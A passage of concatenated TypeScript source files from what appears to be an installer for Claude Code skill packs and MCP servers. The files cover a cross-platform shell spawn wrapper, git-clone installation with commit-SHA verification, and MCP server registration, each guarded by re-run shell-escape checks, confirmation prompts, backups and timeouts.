bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\nconst DEFAULT_TIMEOUT_MS = 15_000\n\nexport interface SpawnOk {\n ok: true\n exitCode: number\n stdout: string\n stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout (default 15s,\n * overridable via spec.verify.timeout_ms).\n *\n * Returns:\n * - `SpawnOk` on completion (any exit code; caller decides if non-zero\n * means failure based on context — install vs verify vs idempotent_check)\n * - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n ctx: InstallContext,\n cmd: string,\n args: string[],\n): Promise<SpawnOk | InstallResult> {\n // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n const violation = checkCmdString(cmd)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n line: null,\n column: null,\n keyword: 'security-gate-bypass',\n },\n }\n }\n\n // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n const installCfg = ctx.manifest.spec.install\n const verifyCfg = ctx.manifest.spec.verify\n const timeoutMs = verifyCfg.timeout_ms ?? DEFAULT_TIMEOUT_MS\n const env = { ...process.env, ...(installCfg.env ?? {}) }\n const cwd = installCfg.cwd ?? ctx.cwd\n\n let child: ChildProcess\n if (process.platform === 'win32') {\n child = spawn('cmd.exe', ['/c', cmd, ...args], { cwd, env, windowsHide: true })\n } else {\n const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n child = spawn('/bin/sh', ['-c', joined], { cwd, env })\n }\n\n // 3. Collect stdout/stderr + race against timeout.\n let stdout = ''\n let stderr = ''\n child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n stdout += chunk\n })\n child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n stderr += chunk\n })\n\n return await new Promise<SpawnOk | InstallResult>((resolve) => {\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn timed out after ${timeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n line: null,\n column: null,\n keyword: 'spawn-timeout',\n },\n })\n }, timeoutMs)\n\n child.on('error', (err) => {\n clearTimeout(timer)\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn failed: ${err.message}`,\n line: null,\n column: null,\n keyword: 'spawn-error',\n },\n })\n })\n\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n })\n })\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n return new Promise((resolve) => {\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n let stdout = ''\n child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n stdout += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ sha: '', exit: -1 })\n }, timeoutMs)\n child.on('error', () => {\n clearTimeout(timer)\n resolve({ sha: '', exit: -1 })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ sha: stdout.trim(), exit: code ?? -1 })\n })\n })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n // (&&, ;, |) means the manifest omitted dest — git would default to a\n // repo-name dir in cwd, which is fragile; require explicit dest.\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n // this installer enforces the tighter invariant: rev-parse HEAD returns a\n // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/git_ref',\n `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n 'sha-required',\n ),\n suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n },\n }\n }\n\n // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n 'git-clone-shape',\n ),\n suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n const name = ctx.manifest.metadata.name\n const plan: DiffPlan = {\n files: [\n {\n target: cloneTarget,\n scope: 'HOME',\n oldText: '',\n newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n const sp = await spawnCmd(ctx, install.cmd, [])\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n // 7-hex prefix is a valid name for the full 40-hex commit).\n const rp = await gitRevParseHead(cloneTarget)\n if (rp.exit !== 0 || !rp.sha) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n 'sha-mismatch',\n ),\n }\n }\n if (!rp.sha.startsWith(install.git_ref)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n 'sha-mismatch',\n ),\n }\n }\n\n // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [])\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// IMPL NOTE (Rule 1 / CC #54803): mandatory --scope project; user scope is\n// broken (rules silently land in ~/.claude.json but Claude Code fails to read\n// them back). hardcoded `--scope project` here cannot be overridden by manifest\n// fields — the manifest cmd string is treated as audit-trail only; we\n// authoritatively reconstruct the args array. Mirrors mcpStdioAdd discipline.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n\nimport { spawn } from 'node:child_process'\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport type { ProcResult } from './lib/runClaudeArgs.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n let resolved = value\n let match: RegExpExecArray | null\n pattern.lastIndex = 0\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((match = pattern.exec(value)) !== null) {\n const name = match[1]\n if (name === undefined) continue\n const v = process.env[name]\n if (v === undefined || v === '') {\n return { ok: false, missing: name }\n }\n resolved = resolved.replace(match[0], v)\n }\n return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n const flat: string[] = []\n // Match: --header \"...\" OR --header '...' OR --header <non-space-token>\n const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n let m: RegExpExecArray | null\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((m = re.exec(cmd)) !== null) {\n const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n if (raw === undefined || raw.length === 0) continue\n const res = resolveEnvVars(raw)\n if (!res.ok) return { ok: false, missing: res.missing }\n flat.push('--header', res.resolved)\n }\n return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const url = extractUrl(install.cmd)\n if (!url) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n 'http-url-missing',\n ),\n }\n }\n\n // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n // var → fail clear, do not silently drop the header (would expose a public\n // unauth call to a presumed-auth server).\n const hdr = resolveHeaders(install.cmd)\n if (!hdr.ok) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n 'env-unset',\n ),\n suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n },\n }\n }\n\n // Authoritative args — `--scope project` hardcoded (D-12, CC #54803,\n // transport-agnostic broken-user-scope). manifest cmd is informational only.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'project',\n '--transport',\n 'http',\n ...hdr.flat,\n name,\n url,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. Header values were\n // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n // plain http(s) string.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // L3 fixed — diff shows .mcp.json will gain an entry. We simulate the entry\n // textually rather than calling `claude mcp add --dry-run` (CLI flag not\n // documented; unstable contract). Entry shape per CC spec:\n // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n const mcpFile = `${ctx.cwd}/.mcp.json`\n // Reassemble headers as an object for the diff preview (purely informational).\n const headersObj: Record<string, string> = {}\n for (let i = 0; i < hdr.flat.length; i += 2) {\n const kv = hdr.flat[i + 1]\n if (!kv) continue\n const ci = kv.indexOf(':')\n if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n }\n const entry =\n Object.keys(headersObj).length > 0\n ? { [name]: { type: 'http', url, headers: headersObj } }\n : { [name]: { type: 'http', url } }\n const newEntry = JSON.stringify(entry, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'PROJECT',\n oldText: '',\n newText: `// will be merged into .mcp.json mcpServers map by \\`claude mcp add\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n const r = await runArgs(addArgs, install.cwd ?? ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // Verify via `claude mcp list` exit code piped through `grep -q <name>`.\n // For OAuth-authenticated servers a `claude mcp get <name>` exposes the\n // pending-auth surface, but exit-code-on-`mcp list` is the stable contract\n // matching mcpStdioAdd verify pattern (C2 discipline).\n const verifyShell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'\n const verifyFlag = process.platform === 'win32' ? '/c' : '-c'\n const verifyLine = `claude mcp list | grep -q ${name}`\n const violation = checkCmdString(verifyLine)\n if (violation) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify shell escape: ${violation.label}`,\n 'security-gate-bypass',\n ),\n }\n }\n const vr = await new Promise<ProcResult>((resolve) => {\n const child = spawn(verifyShell, [verifyFlag, verifyLine], { cwd: ctx.cwd, windowsHide: true })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 15_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n if (vr.exitCode !== 0) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// IMPL NOTE (Rule 1 / CC #54803): mandatory --scope project; user scope is\n// broken in v2.1.122 (rules silently land in ~/.claude.json but Claude Code\n// fails to read them back). hardcoded `--scope project` here cannot be\n// overridden by manifest fields — the manifest cmd string is treated as\n// audit-trail only; we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C2): verify uses `claude mcp list` exit\n// code via `grep -q <name>` — we do NOT parse stdout. The CLI's textual\n// output format is not a stable contract; exit code is.\n\nimport { spawn } from 'node:child_process'\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport type { ProcResult } from './lib/runClaudeArgs.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const pkg = ctx.manifest.metadata.upstream.source\n const ver = install.npm_version\n // Authoritative args — `--scope project` hardcoded per ADR 0004 § 5 + CC #54803.\n // The manifest's install.cmd string is informational only; we never invoke it.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'project',\n '--transport',\n 'stdio',\n name,\n '--',\n 'npx',\n '--yes',\n `${pkg}@${ver}`,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n // metadata.upstream.source pass through B1 only as YAML scalars; never as\n // shell tokens. Re-check in case a future schema change relaxes those fields.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // L3 fixed — diff shows .mcp.json will gain an entry. We simulate the entry\n // textually rather than calling `claude mcp add --dry-run` (CLI flag not\n // documented in v2.1; relying on it would be an unstable contract).\n const mcpFile = `${ctx.cwd}/.mcp.json`\n const newEntry = JSON.stringify(\n { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n null,\n 2,\n )\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'PROJECT',\n oldText: '',\n newText: `// will be merged into .mcp.json mcpServers map by \\`claude mcp add\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n const r = await runArgs(addArgs, install.cwd ?? ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // Verify via `claude mcp list` exit code piped through `grep -q <name>`.\n // We invoke a small shell snippet (Win cmd.exe /c, Unix /bin/sh -c) just for\n // the pipe; arg list is whitelisted.\n const verifyShell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'\n const verifyFlag = process.platform === 'win32' ? '/c' : '-c'\n const verifyLine = `claude mcp list | grep -q ${name}`\n const violation = checkCmdString(verifyLine)\n if (violation) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify shell escape: ${violation.label}`,\n 'security-gate-bypass',\n ),\n }\n }\n // Verify shell can't use runArgs (it always prefixes 'claude'); spawn the\n // pipe-runner shell directly. Args have been B1-checked above.\n const vr = await new Promise<ProcResult>((resolve) => {\n const child = spawn(verifyShell, [verifyFlag, verifyLine], { cwd: ctx.cwd, windowsHide: true })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 15_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n if (vr.exitCode !== 0) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, ver, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / (c) abort.\n// Default is 